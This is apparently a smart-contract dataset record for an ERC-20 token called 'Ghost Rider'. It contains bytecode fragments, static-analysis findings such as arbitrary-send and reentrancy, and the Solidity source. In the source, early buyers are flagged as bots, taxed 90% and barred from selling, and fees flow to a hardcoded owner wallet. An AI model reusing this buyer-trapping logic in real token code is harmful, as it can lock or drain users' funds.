83811015610ddc57610dc933868684818110610d9657610d96612640565b9050602002016020810190610dab91906125be565b858585818110610dbd57610dbd612640565b90506020020135611bf4565b5080610dd48161266c565b915050610d78565b5050505050565b6000546001600160a01b0316331480610e005750610e00336106fc565b610e1c5760405162461bcd60e51b815260040161075390612609565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b0316331480610e5a5750610e5a336106fc565b610e765760405162461bcd60e51b815260040161075390612609565b60128054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b0316331480610eb15750610eb1336106fc565b610ecd5760405162461bcd60e51b815260040161075390612609565b610ed76000611cc8565b565b6000546001600160a01b0316331480610ef65750610ef6336106fc565b610f125760405162461bcd60e51b815260040161075390612609565b601555565b6000546001600160a01b0316331480610f345750610f34336106fc565b610f505760405162461bcd60e51b815260040161075390612609565b6012805460ff60b81b198116600160b81b9182900460ff1615909102179055565b6000546001600160a01b0316331480610f8e5750610f8e336106fc565b610faa5760405162461bcd60e51b815260040161075390612609565b601755565b60006107d533848461145d565b6000546001600160a01b0316331480610fd95750610fd9336106fc565b610ff55760405162461bcd60e51b815260040161075390612609565b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b6000546001600160a01b03163314806110395750611039336106fc565b6110555760405162461bcd60e51b815260040161075390612609565b3060009081526004602052604090205461097181611d18565b6000546001600160a01b031633148061108b575061108b336106fc565b6110a75760405162461bcd60e51b815260040161075390612609565b6012805464ff000000ff60a01b191664010000000160a01b17905543601455565b6000546001600160a01b03163314806110e557506110e5336106fc565b6111015760405162461bcd60e51b815260040161075390612609565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303816000875af115801561114e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111729190612739565b505050565b6000546001600160a01b03163314806111945750611194336106fc565b6111b05760405162461bcd60e51b815260040161075390612609565b601655565b6000546001600160a01b03163314806111d257506111d2336106fc565b6111ee5760405162461bcd60e51b815260040161075390612609565b6001600160a01b03166000908152600160205260409020805460ff19169055565b6000546001600160a01b031633148061122c575061122c336106fc565b6112485760405162461bcd60e51b815260040161075390612609565b6001600160a01b0381166112ad5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610753565b6000600760006112c56000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556112f681611cc8565b60016007600061130e6000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905550565b6001600160a01b03831661139b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610753565b6001600160a01b0382166113fc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610753565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166114c15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610753565b6001600160a01b0382166115235760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610753565b600081116115855760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610753565b6001600160a01b03821660009081526007602052604090205460ff161580156115c757506001600160a01b03831660009081526007602052604090205460ff16155b15611a2f57601254600160a01b900460ff166116255760405162461bcd60e51b815260206004820152601e60248201527f544f4b454e3a2054726164696e67206e6f7420796574207374617274656400006044820152606401610753565b6015548111156116775760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610753565b6001600160a01b0383166000908152600a602052604090205460ff161580156116b957506001600160a01b0382166000908152600a602052604090205460ff16155b6117115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610753565b601254600160c01b900460ff161561183657600060145411801561174257506012546001600160a01b038481169116145b801561176757506001600160a01b03831660009081526009602052604090205460ff16155b801561178c57506001600160a01b03821660009081526009602052604090205460ff16155b15611836576013546014546117a19043612685565b11611836576001600160a01b03821660009081526008602052604090205460ff1661181257600380546001810182556000919091527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b0180546001600160a01b0319166001600160a01b0384161790555b6001600160a01b0382166000908152600860205260409020805460ff191660011790555b6012546001600160a01b038381169116146119a4576012546001600160a01b0384811691161480156118715750601254600160b81b900460ff165b1561191e573260009081526005602052604090205442906118939060b4612756565b1080156118c357506001600160a01b03821660009081526005602052604090205442906118c19060b4612756565b105b61191e5760405162461bcd60e51b815260206004820152602660248201527f544f4b454e3a2033206d696e7574657320636f6f6c646f776e206265747765656044820152656e206275797360d01b6064820152608401610753565b60165481611941846001600160a01b031660009081526004602052604090205490565b61194b9190612756565b106119a45760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610753565b3060009081526004602052604090205460175481108015906119c65760175491505b8080156119dd5750601254600160a81b900460ff16155b80156119f757506012546001600160a01b03868116911614155b8015611a0c5750601254600160b01b900460ff165b15611a2c57611a1a82611d18565b478015611a2a57611a2a47611ed8565b505b50505b6001600160a01b03831660009081526007602052604090205460019060ff1680611a7157506001600160a01b03831660009081526007602052604090205460ff165b80611aa357506012546001600160a01b03858116911614801590611aa357506012546001600160a01b03848116911614155b15611ab057506000611b1e565b6012546001600160a01b038581169116148015611adb57506011546001600160a01b03848116911614155b15611ae757600c54600e555b6012546001600160a01b038481169116148015611b1257506011546001600160a01b03858116911614155b15611b1e57600d54600e555b3260009081526005602052604080822042908190556001600160a01b0386168352912055611b4e84848484611f38565b50505050565b60008184841115611b785760405162461bcd60e51b815260040161075391906123a5565b506000611b858486612685565b95945050505050565b600080611b9b8385612756565b905083811015611bed5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610753565b9392505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054611c45918490611b54565b6001600160a01b038086166000908152600460205260408082209390935590851681522054611c749083611b8e565b6001600160a01b03808516600081815260046020526040908190209390935591519086169060008051602061280683398151915290611cb69086815260200190565b60405180910390a35060019392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6012805460ff60a81b1916600160a81b1790556000611d436064611d3d846055611f59565b90611fdb565b90506000611d518284612685565b60408051600280825260608201835292935047926000926020830190803683370190505090503081600081518110611d8b57611d8b612640565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e08919061269c565b81600181518110611e1b57611e1b612640565b6001600160a01b03928316602091820292909201015260115460405163791ac94760e01b815291169063791ac94790611e619087906000908690309042906004016126fd565b600060405180830381600087803b158015611e7b57600080fd5b505af1158015611e8f573d6000803e3d6000fd5b505050506000611ea8834761201d90919063ffffffff16565b9050611ec384611ebe6064611d3d85600f611f59565b61205f565b50506012805460ff60a81b1916905550505050565b6010546040516000916001600160a01b03169083908381818185875af1925050503d8060008114611f25576040519150601f19603f3d011682016040523d82523d6000602084013e611f2a565b606091505b50509050806107c457600080fd5b80611f4e57611f48848484611bf4565b50611b4e565b611b4e8484846120f1565b600082600003611f6b575060006107d9565b6000611f77838561276e565b905082611f84858361278d565b14611bed5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610753565b6000611bed83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121e4565b6000611bed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b54565b60115460405163f305d71960e01b8152306004820152602481018490526000604482018190526064820181905260848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af11580156120cc573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ddc91906127af565b60006120fd8483612212565b90506121658260405180604001604052806014815260200173496e73756666696369656e742042616c616e636560601b81525060046000886001600160a01b03166001600160a01b0316815260200190815260200160002054611b549092919063ffffffff16565b6001600160a01b0380861660009081526004602052604080822093909355908516815220546121949082611b8e565b6001600160a01b038085166000818152600460205260409081902093909355915190861690600080516020612806833981519152906121d69085815260200190565b60405180910390a350505050565b600081836122055760405162461bcd60e51b815260040161075391906123a5565b506000611b85848661278d565b60008061222f6064611d3d600e5486611f5990919063ffffffff16565b3060009081526004602052604090205490915061224c9082611b8e565b30600081815260046020526040908190209290925590516001600160a01b038616906000805160206128068339815191529061228b9085815260200190565b60405180910390a361229d838261201d565b949350505050565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461097157600080fd5b80356122db816122bb565b919050565b600060208083850312156122f357600080fd5b823567ffffffffffffffff8082111561230b57600080fd5b818501915085601f83011261231f57600080fd5b813581811115612331576123316122a5565b8060051b604051601f19603f83011681018181108582111715612356576123566122a5565b60405291825284820192508381018501918883111561237457600080fd5b938501935b828510156123995761238a856122d0565b84529385019392850192612379565b98975050505050505050565b600060208083528351808285015260005b818110156123d2578581018301518582016040015282016123b6565b818111156123e4576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561240d57600080fd5b8235612418816122bb565b946020939093013593505050565b6000806040838503121561243957600080fd5b50508035926020909101359150565b60008060006060848603121561245d57600080fd5b8335612468816122bb565b92506020840135612478816122bb565b929592945050506040919091013590565b801515811461097157600080fd5b6000602082840312156124a957600080fd5b8135611bed81612489565b6000602082840312156124c657600080fd5b5035919050565b600080604083850312156124e057600080fd5b82356124eb816122bb565b915060208301356124fb81612489565b809150509250929050565b60008083601f84011261251857600080fd5b50813567ffffffffffffffff81111561253057600080fd5b6020830191508360208260051b850101111561254b57600080fd5b9250929050565b6000806000806040858703121561256857600080fd5b843567ffffffffffffffff8082111561258057600080fd5b61258c88838901612506565b909650945060208701359150808211156125a557600080fd5b506125b287828801612506565b95989497509550505050565b6000602082840312156125d057600080fd5b8135611bed816122bb565b600080604083850312156125ee57600080fd5b82356125f9816122bb565b915060208301356124fb816122bb565b6020808252601e908201527f4f776e61626c653a2063616c6c6572206973206e6f7420616c6c6f7765640000604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161267e5761267e612656565b5060010190565b60008282101561269757612697612656565b500390565b6000602082840312156126ae57600080fd5b8151611bed816122bb565b600081518084526020808501945080840160005b838110156126f25781516001600160a01b0316875295820195908201906001016126cd565b509495945050505050565b85815284602082015260a06040820152600061271c60a08301866126b9565b6001600160a01b0394909416606083015250608001529392505050565b60006020828403121561274b57600080fd5b8151611bed81612489565b6000821982111561276957612769612656565b500190565b600081600019048311821515161561278857612788612656565b500290565b6000826127aa57634e487b7160e01b600052601260045260246000fd5b500490565b6000806000606084860312156127c457600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122076533ba0ab32fc994d2c6f9e09424af53a51d4c086c8dda267955316366f360764736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,037 |
0x1eef74bef8c68Ea49f46624ee63e431f9d4c6110
|
/**
*Submitted for verification at Etherscan.io on 2022-03-31
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ghostrider is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100 * 1e12 * 1e9; //100,000,000,000,000
uint256 public _maxWalletSize;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _sellTax;
uint256 private _buyTax;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "Ghost Rider";
string private constant _symbol = "GR";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _firstBlock;
uint256 private _botBlocks;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xBC42DB96f8fc6A9010AB394F33CAA618e0Fc0233);
_rOwned[address(this)] = _rTotal;
_sellTax = 15;
_buyTax = 9;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (to != uniswapV2Pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) {
require(amount + balanceOf(to) <= _maxWalletSize, "Over max wallet size.");
}
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
if (block.number <= _firstBlock.add(_botBlocks)) {
bots[to] = true;
}
}
if (from != address(this) && bots[to]) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(amount <= _maxTxAmount);
}
_feeAddr1 = 0;
_feeAddr2 = 90;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
require(!bots[from] && !bots[to]);
_feeAddr1 = 1;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 500 * 1e9 * 1e9) { // 0.5%
sendETHToFee(address(this).balance);
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function openTrading(uint256 botBlocks) external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
_firstBlock = block.number;
_botBlocks = botBlocks;
_maxTxAmount = 100 * 1e10 * 1e9; //1%
_maxWalletSize = 300 * 1e10 * 1e9; //3%
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external onlyOwner{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external onlyOwner{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c8063715018a611610095578063a9059cbb11610064578063a9059cbb146102b1578063c3c8cd80146102d1578063d1633649146102e6578063dd62ed3e14610306578063f2fde38b1461034c57600080fd5b8063715018a6146102335780638da5cb5b146102485780638f9a55c01461027057806395d89b411461028657600080fd5b80632ab30838116100d15780632ab30838146101cb578063313ce567146101e25780636fc3eaec146101fe57806370a082311461021357600080fd5b806306fdde031461010e578063095ea7b31461015457806318160ddd1461018457806323b872dd146101ab57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600b81526a23b437b9ba102934b232b960a91b60208201525b60405161014b9190611553565b60405180910390f35b34801561016057600080fd5b5061017461016f3660046115bd565b61036c565b604051901515815260200161014b565b34801561019057600080fd5b5069152d02c7e14af68000005b60405190815260200161014b565b3480156101b757600080fd5b506101746101c63660046115e9565b610383565b3480156101d757600080fd5b506101e06103ec565b005b3480156101ee57600080fd5b506040516009815260200161014b565b34801561020a57600080fd5b506101e0610434565b34801561021f57600080fd5b5061019d61022e36600461162a565b61046b565b34801561023f57600080fd5b506101e061048d565b34801561025457600080fd5b506000546040516001600160a01b03909116815260200161014b565b34801561027c57600080fd5b5061019d60075481565b34801561029257600080fd5b5060408051808201909152600281526123a960f11b602082015261013e565b3480156102bd57600080fd5b506101746102cc3660046115bd565b6104c3565b3480156102dd57600080fd5b506101e06104d0565b3480156102f257600080fd5b506101e0610301366004611647565b610510565b34801561031257600080fd5b5061019d610321366004611660565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561035857600080fd5b506101e061036736600461162a565b6108ee565b6000610379338484610986565b5060015b92915050565b6000610390848484610aaa565b6103e284336103dd85604051806060016040528060288152602001611849602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e15565b610986565b5060019392505050565b6000546001600160a01b0316331461041f5760405162461bcd60e51b815260040161041690611699565b60405180910390fd5b69152d02c7e14af68000006013819055600755565b6000546001600160a01b0316331461045e5760405162461bcd60e51b815260040161041690611699565b4761046881610e4f565b50565b6001600160a01b03811660009081526001602052604081205461037d90610e8d565b6000546001600160a01b031633146104b75760405162461bcd60e51b815260040161041690611699565b6104c16000610f11565b565b6000610379338484610aaa565b6000546001600160a01b031633146104fa5760405162461bcd60e51b815260040161041690611699565b60006105053061046b565b905061046881610f61565b6000546001600160a01b0316331461053a5760405162461bcd60e51b815260040161041690611699565b601054600160a01b900460ff16156105945760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610416565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105d2308269152d02c7e14af6800000610986565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561060b57600080fd5b505afa15801561061f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064391906116ce565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561068b57600080fd5b505afa15801561069f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c391906116ce565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561070b57600080fd5b505af115801561071f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074391906116ce565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d71947306107738161046b565b6000806107886000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107eb57600080fd5b505af11580156107ff573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061082491906116eb565b505060108054436011556012859055683635c9adc5dea0000060135568a2a15d09519be0000060075562ff00ff60a01b1981166201000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156108b157600080fd5b505af11580156108c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e99190611719565b505050565b6000546001600160a01b031633146109185760405162461bcd60e51b815260040161041690611699565b6001600160a01b03811661097d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610416565b61046881610f11565b6001600160a01b0383166109e85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610416565b6001600160a01b038216610a495760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610416565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610b0c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610416565b6000600c55600b54600d556010546001600160a01b03838116911614801590610b4e57506001600160a01b03821660009081526004602052604090205460ff16155b8015610b7357506001600160a01b03831660009081526004602052604090205460ff16155b15610bd457600754610b848361046b565b610b8e9083611751565b1115610bd45760405162461bcd60e51b815260206004820152601560248201527427bb32b91036b0bc103bb0b63632ba1039b4bd329760591b6044820152606401610416565b6010546001600160a01b038481169116148015610bff5750600f546001600160a01b03838116911614155b15610c3d57601254601154610c13916110ea565b4311610c3d576001600160a01b0382166000908152600560205260409020805460ff191660011790555b6001600160a01b0383163014801590610c6e57506001600160a01b03821660009081526005602052604090205460ff165b15610ce2576010546001600160a01b038481169116148015610c9e5750600f546001600160a01b03838116911614155b8015610cc357506001600160a01b03821660009081526004602052604090205460ff16155b15610cd757601354811115610cd757600080fd5b6000600c55605a600d555b6010546001600160a01b038381169116148015610d0d5750600f546001600160a01b03848116911614155b8015610d3257506001600160a01b03831660009081526004602052604090205460ff16155b15610d8e576001600160a01b03831660009081526005602052604090205460ff16158015610d7957506001600160a01b03821660009081526005602052604090205460ff16155b610d8257600080fd5b6001600c55600a54600d555b6000610d993061046b565b601054909150600160a81b900460ff16158015610dc457506010546001600160a01b03858116911614155b8015610dd95750601054600160b01b900460ff165b15610e0457610de781610f61565b47681b1ae4d6e2ef500000811115610e0257610e0247610e4f565b505b610e0f848484611149565b50505050565b60008184841115610e395760405162461bcd60e51b81526004016104169190611553565b506000610e468486611769565b95945050505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610e89573d6000803e3d6000fd5b5050565b6000600854821115610ef45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610416565b6000610efe611154565b9050610f0a8382611177565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fa957610fa9611780565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610ffd57600080fd5b505afa158015611011573d6000803e3d6000fd5b505050506040513d601f19601f82